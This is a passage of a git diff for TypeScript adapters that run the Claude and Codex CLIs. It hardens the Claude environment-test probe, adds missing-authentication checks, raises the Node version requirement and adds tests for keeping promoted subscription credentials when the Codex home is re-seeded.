+    // The descriptive probe check stays, so existing diagnostics keep working.
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+  });
+
+  it("does not emit adapter_auth_missing when a non-sandbox remote probe reports missing auth", async () => {
+    // Only a sandbox target can start login. A non-sandbox remote target keeps
+    // the descriptive probe check but does not carry the neutral login code.
+    probeResult.value = { exitCode: 1, stdout: loginRequiredStdout, stderr: "" };
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sshTarget,
+      environmentName: "Remote host",
+    });
+
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    expect(result.checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(false);
+  });
+});
diff --git a/packages/adapters/claude-local/src/server/test.ts b/packages/adapters/claude-local/src/server/test.ts
index 75201370246..f98dc2fb2cf 100644
--- a/packages/adapters/claude-local/src/server/test.ts
+++ b/packages/adapters/claude-local/src/server/test.ts
@@ -1,6 +1,3 @@
-import fs from "node:fs/promises";
-import os from "node:os";
-import path from "node:path";
 import type {
   AdapterEnvironmentCheck,
   AdapterEnvironmentTestContext,
@@ -11,22 +8,16 @@ import {
   asBoolean,
   asNumber,
   asStringArray,
-  parseJson,
   parseObject,
   ensurePathInEnv,
 } from "@paperclipai/adapter-utils/server-utils";
 import {
   ensureAdapterExecutionTargetCommandResolvable,
   ensureAdapterExecutionTargetDirectory,
-  maybeRunSandboxInstallCommand,
-  prepareAdapterExecutionTargetRuntime,
   runAdapterExecutionTargetProcess,
-  describeAdapterExecutionTarget,
   resolveAdapterExecutionTargetCwd,
-  adapterExecutionTargetUsesManagedHome,
 } from "@paperclipai/adapter-utils/execution-target";
 import {
-  describeClaudeFailure,
   detectClaudeLoginRequired,
   isClaudeProviderQuotaError,
   isClaudeTransientUpstreamError,
@@ -35,9 +26,16 @@ import {
 import { claudeCommandLooksLike, claudeCommandSupportsEffortFlag } from "./cli-capabilities.js";
 import { isBedrockModelId } from "./models.js";
 import { buildClaudeProbePermissionArgs } from "./permissions.js";
-import { materializeRemoteClaudeConfig, prepareClaudeConfigSeed } from "./claude-config.js";
+import { prepareSandboxClaudeProbeRuntime } from "./claude-config.js";
 import { SANDBOX_INSTALL_COMMAND } from "../index.js";
 import { resolveClaudeExecutionEngineForRun, testClaudeAcpEnvironment } from "./acp.js";
+import { ADAPTER_AUTH_MISSING_CHECK_CODE } from "./auth-check.js";
+import {
+  buildAdapterTestTargetCheck,
+  buildClaudeLoginRequiredHint,
+  logSandboxProbeDiagnostic,
+} from "./probe-diagnostics.js";
+import { buildLocalAdapterTestProbeEnv } from "./probe-env.js";
 
 function summarizeStatus(checks: AdapterEnvironmentCheck[]): AdapterEnvironmentTestResult["status"] {
   if (checks.some((check) => check.level === "error")) return "fail";
@@ -49,44 +47,6 @@ function isNonEmpty(value: unknown): value is string {
   return typeof value === "string" && value.trim().length > 0;
 }
 
-function firstNonEmptyLine(text: string): string {
-  return (
-    text
-      .split(/\r?\n/)
-      .map((line) => line.trim())
-      .find(Boolean) ?? ""
-  );
-}
-
-function lastNonInitStdoutLine(text: string): string {
-  const lines = text
-    .split(/\r?\n/)
-    .map((line) => line.trim())
-    .filter(Boolean);
-  for (let index = lines.length - 1; index >= 0; index -= 1) {
-    const line = lines[index]!;
-    const parsed = parseJson(line);
-    if (parsed && asString(parsed.type, "") === "system" && asString(parsed.subtype, "") === "init") {
-      continue;
-    }
-    return line;
-  }
-  return "";
-}
-
-function truncateDetail(value: string, max = 240): string {
-  const clean = value.replace(/\s+/g, " ").trim();
-  return clean.length > max ? `${clean.slice(0, max - 1)}…` : clean;
-}
-
-function summarizeProbeDetail(stdout: string, stderr: string): string | null {
-  const raw = firstNonEmptyLine(stderr) || lastNonInitStdoutLine(stdout);
-  if (!raw) return null;
-  const clean = raw.replace(/\s+/g, " ").trim();
-  const max = 240;
-  return clean.length > max ? `${clean.slice(0, max - 1)}…` : clean;
-}
-
 export async function testEnvironment(
   ctx: AdapterEnvironmentTestContext,
 ): Promise<AdapterEnvironmentTestResult> {
@@ -114,18 +74,13 @@ export async function testEnvironment(
   const targetIsRemote = target?.kind === "remote";
   const targetIsSandbox = target?.kind === "remote" && target.transport === "sandbox";
   const cwd = resolveAdapterExecutionTargetCwd(target, asString(config.cwd, ""), process.cwd());
-  const targetLabel = targetIsRemote
-    ? ctx.environmentName ?? describeAdapterExecutionTarget(target)
-    : null;
   const runId = `claude-envtest-${Date.now()}-${Math.random().toString(16).slice(2)}`;
 
-  if (targetLabel) {
-    checks.push({
-      code: "claude_environment_target",
-      level: "info",
-      message: `Probing inside environment: ${targetLabel}`,
-    });
-  }
+  // Always name the target the Test probed, so a pass result never hides which
+  // target it checked. A local probe reports the fixed host label.
+  checks.push(
+    buildAdapterTestTargetCheck({ targetIsRemote, environmentName: ctx.environmentName }),
+  );
 
   try {
     await ensureAdapterExecutionTargetDirectory(runId, target, cwd, {
@@ -152,77 +107,28 @@ export async function testEnvironment(
   for (const [key, value] of Object.entries(envConfig)) {
     if (typeof value === "string") env[key] = value;
   }
-  const installCheck = await maybeRunSandboxInstallCommand({
-    runId,
-    target,
-    adapterKey: "claude",
-    installCommand: SANDBOX_INSTALL_COMMAND,
-    detectCommand: command,
-    env,
-  });
-  if (installCheck) checks.push(installCheck);
-  const hasExplicitClaudeConfigDir = isNonEmpty(env.CLAUDE_CONFIG_DIR);
-  if (targetIsRemote && adapterExecutionTargetUsesManagedHome(target) && !hasExplicitClaudeConfigDir) {
-    let tempWorkspaceDir: string | null = null;
-    let preparedRuntime: Awaited<ReturnType<typeof prepareAdapterExecutionTargetRuntime>> | null = null;
-    try {
-      const seedDir = await prepareClaudeConfigSeed(process.env, async () => {}, ctx.companyId);
-      const managedRemoteCwd = target?.kind === "remote" ? target.remoteCwd : cwd;
-      tempWorkspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-claude-envtest-workspace-"));
-      preparedRuntime = await prepareAdapterExecutionTargetRuntime({
-        runId,
-        target,
-        adapterKey: "claude",
-        workspaceLocalDir: tempWorkspaceDir,
-        workspaceRemoteDir: managedRemoteCwd,
-        timeoutSec: Math.max(1, asNumber(config.helloProbeTimeoutSec, targetIsSandbox ? 90 : 45)),
-        assets: [
-          {
-            key: "config-seed",
-            localDir: seedDir,
-            followSymlinks: true,
-          },
-        ],
-      });
-      const runtimeRootDir =
-        preparedRuntime.runtimeRootDir ?? path.posix.join(managedRemoteCwd, ".paperclip-runtime", "claude");
-      const remoteClaudeConfigSeedDir =
-        preparedRuntime.assetDirs["config-seed"] ?? path.posix.join(runtimeRootDir, "config-seed");
-      const remoteClaudeConfigDir = path.posix.join(runtimeRootDir, "config");
-      env.CLAUDE_CONFIG_DIR = remoteClaudeConfigDir;
-      await materializeRemoteClaudeConfig({
-        runId,
-        target,
-        remoteClaudeConfigDir,
-        remoteClaudeConfigSeedDir,
-        options: {
-          cwd,
-          env,
-          timeoutSec: Math.max(15, asNumber(config.helloProbeTimeoutSec, targetIsSandbox ? 90 : 45)),
-          graceSec: 5,
-          onLog: async () => {},
-        },
-      });
-      checks.push({
-        code: "claude_managed_config_dir",
-        level: "info",
-        message: "Sandbox probe is using Paperclip-managed Claude config materialization.",
-        detail: remoteClaudeConfigDir,
-      });
-    } catch (err) {
-      checks.push({
-        code: "claude_managed_config_dir_failed",
-        level: "error",
-        message: "Could not materialize Paperclip-managed Claude config for the sandbox probe.",
-        detail: err instanceof Error ? err.message : String(err),
-      });
-    } finally {
-      await preparedRuntime?.restoreWorkspace().catch(() => undefined);
-      if (tempWorkspaceDir) {
-        await fs.rm(tempWorkspaceDir, { recursive: true, force: true }).catch(() => undefined);
-      }
-    }
-  }
+  // For a local probe, resolve the trusted `claude` executable and a
+  // deny-by-default child env from the shared builder, so a hostile caller
+  // value can neither select the executable nor reach the child. A remote
+  // target keeps the caller command and env; the remote transport owns its own
+  // env sanitization.
+  const localProbe = targetIsRemote
+    ? null
+    : await buildLocalAdapterTestProbeEnv({ callerEnv: env, trustedEnv: process.env });
+  checks.push(
+    ...(await prepareSandboxClaudeProbeRuntime({
+      runId,
+      target,
+      cwd,
+      companyId: ctx.companyId,
+      env,
+      installCommand: SANDBOX_INSTALL_COMMAND,
+      detectCommand: command,
+      targetIsRemote,
+      targetIsSandbox,
+      helloProbeTimeoutSec: asNumber(config.helloProbeTimeoutSec, targetIsSandbox ? 90 : 45),
+    })),
+  );
   const runtimeEnv = ensurePathInEnv({ ...process.env, ...env });
   try {
     await ensureAdapterExecutionTargetCommandResolvable(command, target, cwd, runtimeEnv);
@@ -317,6 +223,15 @@ export async function testEnvironment(
         detail: command,
         hint: "Use the `claude` CLI command to run the automatic login and installation probe.",
       });
+    } else if (localProbe && !localProbe.command) {
+      // The trusted server PATH holds no `claude`, so the local probe cannot
+      // run. Report a warn, never a silent pass.
+      checks.push({
+        code: "claude_hello_probe_skipped_unresolved_command",
+        level: "warn",
+        message: "Skipped the Claude hello probe because `claude` is not installed on the Paperclip host.",
+        hint: "Install the `claude` CLI on the Paperclip host, then retry the Test.",
+      });
     } else {
       const model = asString(config.model, "").trim();
       const effort = asString(config.effort, "").trim();
@@ -346,8 +261,8 @@ export async function testEnvironment(
             code: "claude_effort_flag_unsupported",
             level: "warn",
             message:
-              "Claude CLI in the sandbox does not advertise --effort; the probe omitted the configured reasoning effort.",
-            hint: "Upgrade the sandbox CLI/template to a newer Claude Code release to restore reasoning-effort control.",
+              "Claude CLI in the environment does not advertise --effort; the probe omitted the configured reasoning effort.",
+            hint: "Upgrade the environment CLI/template to a newer Claude Code release to restore reasoning-effort control.",
           });
         }
       }
@@ -375,14 +290,19 @@ export async function testEnvironment(
         asNumber(config.helloProbeTimeoutSec, targetIsSandbox ? 90 : 45),
       );
 
+      // A local probe uses the trusted resolved executable and the
+      // deny-by-default child env. A remote probe uses the caller command and
+      // env, because the remote transport owns its own env sanitization.
+      const probeCommand = localProbe?.command ?? command;
+      const probeEnv = localProbe ? localProbe.env : env;
       const probe = await runAdapterExecutionTargetProcess(
         runId,
         target,
-        command,
+        probeCommand,
         args,
         {
           cwd,
-          env,
+          env: probeEnv,
           timeoutSec: helloProbeTimeoutSec,
           graceSec: 5,
           stdin: "Respond with hello.",
@@ -397,7 +317,6 @@ export async function testEnvironment(
         stdout: probe.stdout,
         stderr: probe.stderr,
       });
-      const detail = summarizeProbeDetail(probe.stdout, probe.stderr);
 
       if (probe.timedOut) {
         checks.push({
@@ -407,25 +326,48 @@ export async function testEnvironment(
           hint: "Retry the probe. If this persists, verify Claude can run `Respond with hello` from this directory manually.",
         });
       } else if (loginMeta.requiresLogin) {
+        // The raw probe output is untrusted. Log only the fixed context and the
+        // allowlisted classification. Return only a fixed public message and a
+        // safe hint.
+        logSandboxProbeDiagnostic(
+          "Claude CLI hello probe reported login required",
+          "auth_required",
+        );
         checks.push({
           code: "claude_hello_probe_auth_required",
           level: "warn",
           message: "Claude CLI is installed, but login is required.",
-          ...(detail ? { detail } : {}),
-          hint: loginMeta.loginUrl
-            ? `Run \`claude login\` and complete sign-in at ${loginMeta.loginUrl}, then retry.`
-            : "Run `claude login` in this environment, then retry the probe.",
+          hint: buildClaudeLoginRequiredHint(loginMeta.loginUrl),
         });
+        if (targetIsSandbox) {
+          // Emit the neutral canonical check so the user interface can decide
+          // login eligibility from a stable code. The user interface does not
+          // read the message text or the top-level status.
+          checks.push({
+            code: ADAPTER_AUTH_MISSING_CHECK_CODE,
+            level: "warn",
+            message: "This environment has no ready authentication for this adapter.",
+            hint: "Provide credentials for this adapter, or start login in the environment.",
+          });
+        }
       } else if ((probe.exitCode ?? 1) === 0) {
         const summary = parsedStream.summary.trim();
         const hasHello = /\bhello\b/i.test(summary);
+        if (!hasHello) {
+          // The unexpected summary is untrusted probe output. Log only the fixed
+          // context and the allowlisted classification. Keep the check text
+          // fixed.
+          logSandboxProbeDiagnostic(
+            "Claude CLI hello probe returned unexpected output",
+            "unexpected_output",
+          );
+        }
         checks.push({
           code: hasHello ? "claude_hello_probe_passed" : "claude_hello_probe_unexpected_output",
           level: hasHello ? "info" : "warn",
           message: hasHello
             ? "Claude hello probe succeeded."
             : "Claude probe ran but did not return `hello` as expected.",
-          ...(summary ? { detail: summary.replace(/\s+/g, " ").trim().slice(0, 240) } : {}),
           ...(hasHello
             ? {}
             : {
@@ -433,20 +375,12 @@ export async function testEnvironment(
               }),
         });
       } else {
-        // Surface the actual failure instead of the leading stream-json
-        // `system/init` line: the real error lives in the final `result`
-        // event (parsed) or, when the CLI dies before emitting one, the last
-        // non-init stdout line — never the first one `summarizeProbeDetail`
-        // returns.
-        const stdoutFallback = lastNonInitStdoutLine(probe.stdout);
-        const failureDetail =
-          (parsed ? describeClaudeFailure(parsed) : null) ||
-          (firstNonEmptyLine(probe.stderr)
-            ? truncateDetail(firstNonEmptyLine(probe.stderr))
-            : "") ||
-          (stdoutFallback ? truncateDetail(stdoutFallback) : "") ||
-          detail ||
-          "";
+        // The failure diagnostic is untrusted. Log only the fixed context, the
+        // allowlisted classification, and the safe exit code. Return only a
+        // fixed public message and hint.
+        logSandboxProbeDiagnostic("Claude CLI hello probe failed", "nonzero_exit", {
+          exitCode: probe.exitCode ?? null,
+        });
         // Provider-quota exhaustion (usage/session limit) is classified
         // separately from generic transient upstream errors: auth works, the
         // subscription's usage window is just spent. Surface it as its own
@@ -467,7 +401,6 @@ export async function testEnvironment(
                 code: "claude_hello_probe_usage_limited",
                 level: "warn",
                 message: "Claude hello probe hit the subscription usage limit.",
-                ...(failureDetail ? { detail: failureDetail } : {}),
                 hint: "Authentication works; the account's usage window is exhausted. Wait for the limit to reset and re-run Test.",
               }
             : transient
@@ -475,14 +408,12 @@ export async function testEnvironment(
                   code: "claude_hello_probe_transient_upstream",
                   level: "warn",
                   message: "Claude hello probe hit a transient upstream error (rate limit or overload).",
-                  ...(failureDetail ? { detail: failureDetail } : {}),
                   hint: "This is usually temporary. Wait a moment and re-run Test.",
                 }
               : {
                   code: "claude_hello_probe_failed",
                   level: "error",
                   message: "Claude hello probe failed.",
-                  ...(failureDetail ? { detail: failureDetail } : {}),
                   hint: `Exit code ${probe.exitCode ?? "unknown"}. Run \`claude --print - --output-format stream-json --verbose\` manually in this directory and prompt \`Respond with hello\` to debug.`,
                 },
         );
diff --git a/packages/adapters/codex-local/package.json b/packages/adapters/codex-local/package.json
index 32e393eb772..4de01144b4a 100644
--- a/packages/adapters/codex-local/package.json
+++ b/packages/adapters/codex-local/package.json
@@ -52,12 +52,16 @@
     "probe:quota": "pnpm exec tsx src/cli/quota-probe.ts --json"
   },
   "dependencies": {
-    "@agentclientprotocol/codex-acp": "^1.1.4",
+    "@agentclientprotocol/codex-acp": "^1.2.0",
     "@paperclipai/adapter-utils": "workspace:*",
+    "@paperclipai/shared": "workspace:*",
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/codex-local/src/index.ts b/packages/adapters/codex-local/src/index.ts
index c29388a457b..9870a346577 100644
--- a/packages/adapters/codex-local/src/index.ts
+++ b/packages/adapters/codex-local/src/index.ts
@@ -129,5 +129,5 @@ Notes:
 - Some model/tool combinations reject certain effort levels (for example minimal with web search enabled).
 - Fast mode is supported on GPT-5.6 (sol/terra/luna), GPT-5.5, GPT-5.4 and manual model IDs. When enabled for those models, Paperclip applies \`service_tier="fast"\` and \`features.fast_mode=true\`.
 - When Paperclip realizes a workspace/runtime for a run, it injects PAPERCLIP_WORKSPACE_* and PAPERCLIP_RUNTIME_* env vars for agent-side tooling.
-- Codex ACP is the preferred auto lane when Node >=22.13.0 and the Codex ACP server are available. It reuses shared ACP prompt/runtime guidance, selected skill materialization into CODEX_HOME/skills, model/reasoning/fast-mode session config, and existing quota-window reporting. Auto selection falls back to CLI when ACP prerequisites are unavailable; explicit engine="acp" fails loudly.
+- Codex ACP is the preferred auto lane when Node >=24.11.0 and the Codex ACP server are available. It reuses shared ACP prompt/runtime guidance, selected skill materialization into CODEX_HOME/skills, model/reasoning/fast-mode session config, and existing quota-window reporting. Auto selection falls back to CLI when ACP prerequisites are unavailable; explicit engine="acp" fails loudly.
 `;
diff --git a/packages/adapters/codex-local/src/server/acp.test.ts b/packages/adapters/codex-local/src/server/acp.test.ts
index 4829b14f082..37f547324f1 100644
--- a/packages/adapters/codex-local/src/server/acp.test.ts
+++ b/packages/adapters/codex-local/src/server/acp.test.ts
@@ -276,7 +276,7 @@ describe("codex_local ACP lane", () => {
     const commandPath = path.join(root, "bin", "codex-acp");
     await fs.mkdir(path.dirname(commandPath), { recursive: true });
     await fs.writeFile(commandPath, "#!/usr/bin/env sh\n", "utf8");
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
 
     expect(resolveCodexExecutionEngine({})).toEqual({ engine: "acp", explicit: false });
     await expect(
@@ -296,7 +296,7 @@ describe("codex_local ACP lane", () => {
       explicit: true,
     });
 
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.10.0");
     await expect(
       resolveCodexExecutionEngineForRun({
         config: { agentCommand: commandPath },
@@ -375,7 +375,7 @@ describe("codex_local ACP lane", () => {
   });
 
   it("uses ACP for bridged sandbox auto runs when the ACP command is configured as a shell command", async () => {
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveCodexExecutionEngineForRun({
         config: { agentCommand: "codex-acp" },
@@ -401,7 +401,7 @@ describe("codex_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for one-shot sandbox auto runs", async () => {
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveCodexExecutionEngineForRun({
         config: {},
@@ -420,7 +420,7 @@ describe("codex_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for non-sandbox remote auto runs", async () => {
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveCodexExecutionEngineForRun({
         config: {},
@@ -479,9 +479,9 @@ describe("codex_local ACP lane", () => {
   });
 
   it("checks the Node version required by the ACPX runtime", () => {
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.10.0");
     expect(nodeVersionMeetsCodexAcpMinimum()).toBe(false);
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     expect(nodeVersionMeetsCodexAcpMinimum()).toBe(true);
   });
 
@@ -490,7 +490,7 @@ describe("codex_local ACP lane", () => {
     const commandPath = path.join(root, "bin", "codex-acp");
     await fs.mkdir(path.dirname(commandPath), { recursive: true });
     await fs.writeFile(commandPath, "#!/usr/bin/env sh\n", "utf8");
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
 
     const result = await testCodexAcpEnvironment({
       adapterType: "codex_local",
@@ -543,7 +543,7 @@ describe("codex_local ACP lane", () => {
     await fs.writeFile(commandPath, "#!/usr/bin/env sh\n", "utf8");
     await fs.mkdir(sharedCodexHome, { recursive: true });
     await fs.writeFile(path.join(sharedCodexHome, "auth.json"), '{"OPENAI_API_KEY":"sk-shared"}', "utf8");
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     process.env.CODEX_HOME = sharedCodexHome;
     delete process.env.OPENAI_API_KEY;
 
@@ -591,7 +591,7 @@ describe("codex_local ACP lane", () => {
     await fs.mkdir(path.dirname(commandPath), { recursive: true });
     await fs.writeFile(commandPath, "#!/usr/bin/env sh\n", "utf8");
     await fs.mkdir(sharedCodexHome, { recursive: true });
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     process.env.CODEX_HOME = sharedCodexHome;
     delete process.env.OPENAI_API_KEY;
 
@@ -632,7 +632,7 @@ describe("codex_local ACP lane", () => {
       "codex-home",
     );
     await fs.mkdir(sharedCodexHome, { recursive: true });
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     process.env.CODEX_HOME = sharedCodexHome;
     delete process.env.OPENAI_API_KEY;
 
@@ -1136,7 +1136,7 @@ describe("codex_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for a runner-less sandbox even when the ACP command is set", async () => {
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     // Isolate the missing bidirectional runner as the sole fallback cause:
     // provide a valid ACP command and Node version so the only difference from
     // the runner-backed ACP case is the absent `runner`.
diff --git a/packages/adapters/codex-local/src/server/acp.ts b/packages/adapters/codex-local/src/server/acp.ts
index be08fe9a12d..1c58d836e3e 100644
--- a/packages/adapters/codex-local/src/server/acp.ts
+++ b/packages/adapters/codex-local/src/server/acp.ts
@@ -48,7 +48,7 @@ import { ADAPTER_AUTH_MISSING_CHECK_CODE } from "./auth-check.js";
 
 const moduleDir = path.dirname(fileURLToPath(import.meta.url));
 const packageRootDir = path.resolve(moduleDir, "../..");
-const MIN_ACP_NODE_VERSION = "22.13.0";
+const MIN_ACP_NODE_VERSION = "24.11.0";
 
 export type CodexExecutionEngine = "cli" | "acp";
 
@@ -628,8 +628,8 @@ export async function testCodexAcpEnvironment(
       checks.push({
         code: ADAPTER_AUTH_MISSING_CHECK_CODE,
         level: "warn",
-        message: "The sandbox has no ready authentication for this adapter.",
-        hint: "Provide credentials for this adapter, or start login in the sandbox.",
+        message: "This environment has no ready authentication for this adapter.",
+        hint: "Provide credentials for this adapter, or start login in the environment.",
       });
     }
   }
diff --git a/packages/adapters/codex-local/src/server/auth-check.ts b/packages/adapters/codex-local/src/server/auth-check.ts
index 3882a730110..e157c88a234 100644
--- a/packages/adapters/codex-local/src/server/auth-check.ts
+++ b/packages/adapters/codex-local/src/server/auth-check.ts
@@ -1,10 +1,7 @@
 /**
- * The canonical check code both Codex Test engines emit when a sandbox target
- * has no ready authentication. The user interface reads this stable code to
- * decide login eligibility. The user interface does not read the message text
- * or the top-level status.
- *
- * The name is neutral. It carries no vendor name and no login-flow word, because
- * a Test result can sync to public packages.
+ * The canonical check code the Codex Test engine emits when a sandbox target has
+ * no ready authentication. This module re-exports the one shared constant, so
+ * the adapters and the user interface gate login from the same code. See the
+ * source in the shared package for the full contract.
  */
-export const ADAPTER_AUTH_MISSING_CHECK_CODE = "adapter_auth_missing";
+export { ADAPTER_AUTH_MISSING_CHECK_CODE } from "@paperclipai/shared";
diff --git a/packages/adapters/codex-local/src/server/codex-home.test.ts b/packages/adapters/codex-local/src/server/codex-home.test.ts
index 81f1de80d91..83e7ffb89cb 100644
--- a/packages/adapters/codex-local/src/server/codex-home.test.ts
+++ b/packages/adapters/codex-local/src/server/codex-home.test.ts
@@ -400,6 +400,142 @@ describe("seedManagedCodexHome", () => {
       await fs.rm(root, { recursive: true, force: true });
     }
   });
+
+  // A device-login promotion writes the company credential as a regular-file
+  // subscription auth.json. Re-seeding must keep it, or the first Test probe or
+  // run after a successful login silently signs the company out. The four cases
+  // below pin the identity-anchored rule: keep a subscription identity the
+  // shared source does not hold; still heal the same-identity stale copy
+  // (#5028) and still remove apikey-mode residue.
+  const subscriptionAuth = (accountId: string, marker: string) =>
+    JSON.stringify({
+      tokens: {
+        id_token: `synthetic-id-token-${marker}`,
+        access_token: `synthetic-access-token-${marker}`,
+        refresh_token: `synthetic-refresh-token-${marker}`,
+        account_id: accountId,
+      },
+      last_refresh: "2026-07-09T00:00:00Z",
+    });
+
+  it("keeps a promoted subscription auth.json when the shared source has no auth", async () => {
+    const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-codex-seed-promoted-"));
+    try {
+      const companyHome = path.join(root, "company-home");
+      const emptyShared = path.join(root, "empty-shared");
+      const promoted = subscriptionAuth("acct-promoted", "promoted");
+      await fs.mkdir(emptyShared, { recursive: true });
+      await fs.mkdir(companyHome, { recursive: true });
+      await fs.writeFile(path.join(companyHome, "auth.json"), promoted, "utf8");
+
+      await seedManagedCodexHome(companyHome, { CODEX_HOME: emptyShared }, async () => {});
+
+      const kept = path.join(companyHome, "auth.json");
+      expect((await fs.lstat(kept)).isSymbolicLink()).toBe(false);
+      expect(await fs.readFile(kept, "utf8")).toBe(promoted);
+    } finally {
+      await fs.rm(root, { recursive: true, force: true });
+    }
+  });
+
+  it("keeps a promoted subscription auth.json whose identity differs from the shared source", async () => {
+    const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-codex-seed-foreign-"));
+    try {
+      const companyHome = path.join(root, "company-home");
+      const sharedCodexHome = path.join(root, "shared-codex-home");
+      const promoted = subscriptionAuth("acct-promoted", "promoted");
+      await fs.mkdir(sharedCodexHome, { recursive: true });
+      await fs.writeFile(
+        path.join(sharedCodexHome, "auth.json"),
+        subscriptionAuth("acct-host", "host"),
+        "utf8",
+      );
+      await fs.mkdir(companyHome, { recursive: true });
+      await fs.writeFile(path.join(companyHome, "auth.json"), promoted, "utf8");
+
+      await seedManagedCodexHome(companyHome, { CODEX_HOME: sharedCodexHome }, async () => {});
+
+      const kept = path.join(companyHome, "auth.json");
+      expect((await fs.lstat(kept)).isSymbolicLink()).toBe(false);
+      expect(await fs.readFile(kept, "utf8")).toBe(promoted);
+    } finally {
+      await fs.rm(root, { recursive: true, force: true });
+    }
+  });
+
+  it("still replaces a same-identity stale regular copy with the shared symlink (#5028)", async () => {
+    const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-codex-seed-stale-"));
+    try {
+      const companyHome = path.join(root, "company-home");
+      const sharedCodexHome = path.join(root, "shared-codex-home");
+      const fresh = subscriptionAuth("acct-same", "fresh");
+      await fs.mkdir(sharedCodexHome, { recursive: true });
+      await fs.writeFile(path.join(sharedCodexHome, "auth.json"), fresh, "utf8");
+      await fs.mkdir(companyHome, { recursive: true });
+      await fs.writeFile(
+        path.join(companyHome, "auth.json"),
+        subscriptionAuth("acct-same", "stale"),
+        "utf8",
+      );
+
+      await seedManagedCodexHome(companyHome, { CODEX_HOME: sharedCodexHome }, async () => {});
+
+      const healed = path.join(companyHome, "auth.json");
+      expect((await fs.lstat(healed)).isSymbolicLink()).toBe(true);
+      expect(await fs.readFile(healed, "utf8")).toBe(fresh);
+    } finally {
+      await fs.rm(root, { recursive: true, force: true });
+    }
+  });
+
+  it("keeps the usable target when the shared source exists but cannot be read", async () => {
+    const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-codex-seed-src-err-"));
+    try {
+      const companyHome = path.join(root, "company-home");
+      const sharedCodexHome = path.join(root, "shared-codex-home");
+      // A directory at the source auth.json path makes the read fail with
+      // EISDIR — a deterministic present-but-unreadable source. Removal plus
+      // the existence-only symlink pass would link the home to a source no
+      // downstream reader can use, so the usable target must survive.
+      await fs.mkdir(path.join(sharedCodexHome, "auth.json"), { recursive: true });
+      await fs.mkdir(companyHome, { recursive: true });
+      const target = subscriptionAuth("acct-unknown-source", "target");
+      await fs.writeFile(path.join(companyHome, "auth.json"), target, "utf8");
+
+      await seedManagedCodexHome(companyHome, { CODEX_HOME: sharedCodexHome }, async () => {});
+
+      const kept = path.join(companyHome, "auth.json");
+      expect((await fs.lstat(kept)).isSymbolicLink()).toBe(false);
+      expect(await fs.readFile(kept, "utf8")).toBe(target);
+    } finally {
+      await fs.rm(root, { recursive: true, force: true });
+    }
+  });
+
+  it("still removes an apikey-mode auth.json so the chatgpt-mode symlink is restored", async () => {
+    const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-codex-seed-apikey-residue-"));
+    try {
+      const companyHome = path.join(root, "company-home");
+      const sharedCodexHome = path.join(root, "shared-codex-home");
+      const shared = subscriptionAuth("acct-host", "host");
+      await fs.mkdir(sharedCodexHome, { recursive: true });
+      await fs.writeFile(path.join(sharedCodexHome, "auth.json"), shared, "utf8");
+      await fs.mkdir(companyHome, { recursive: true });
+      await fs.writeFile(
+        path.join(companyHome, "auth.json"),
+        '{"OPENAI_API_KEY":"stale-key"}',
+        "utf8",
+      );
+
+      await seedManagedCodexHome(companyHome, { CODEX_HOME: sharedCodexHome }, async () => {});
+
+      const healed = path.join(companyHome, "auth.json");
+      expect((await fs.lstat(healed)).isSymbolicLink()).toBe(true);
+      expect(await fs.readFile(healed, "utf8")).toBe(shared);
+    } finally {
+      await fs.rm(root, { recursive: true, force: true });
+    }
+  });
 });
 
 // Startup backfill for already-isolated managed homes.
diff --git a/packages/adapters/codex-local/src/server/codex-home.ts b/packages/adapters/codex-local/src/server/codex-home.ts
index 84313ae83dc..8fe35fa74ba 100644
--- a/packages/adapters/codex-local/src/server/codex-home.ts
+++ b/packages/adapters/codex-local/src/server/codex-home.ts
@@ -3,6 +3,7 @@ import os from "node:os";
 import path from "node:path";
 import type { AdapterExecutionContext } from "@paperclipai/adapter-utils";
 import { resolvePaperclipInstanceRootForAdapter } from "@paperclipai/adapter-utils/server-utils";
+import { readSubscriptionAccountId } from "./codex-auth-cache.js";
 
 const TRUTHY_ENV_RE = /^(1|true|yes|on)$/i;
 const COPIED_SHARED_FILES = ["config.json", "config.toml", "instructions.md"] as const;
@@ -572,8 +573,11 @@ export async function stageCodexHomeForSync(
  * `auth.json` from the shared source home (so ChatGPT-subscription credentials
  * stay live and single-use refresh tokens are not copied), copies the static
  * shared config files, and — when an API key is supplied — writes an API-key
- * `auth.json` instead. Used both for the default company home and for the
- * per-agent home set by the server isolation guard.
+ * `auth.json` instead. A promoted device-login credential — a regular-file
+ * `auth.json` holding a subscription identity the shared source does not hold —
+ * is kept authoritative: it is neither removed nor replaced by the shared
+ * symlink. Used both for the default company home and for the per-agent home
+ * set by the server isolation guard.
  */
 export async function seedManagedCodexHome(
   targetHome: string,
@@ -588,20 +592,81 @@ export async function seedManagedCodexHome(
 
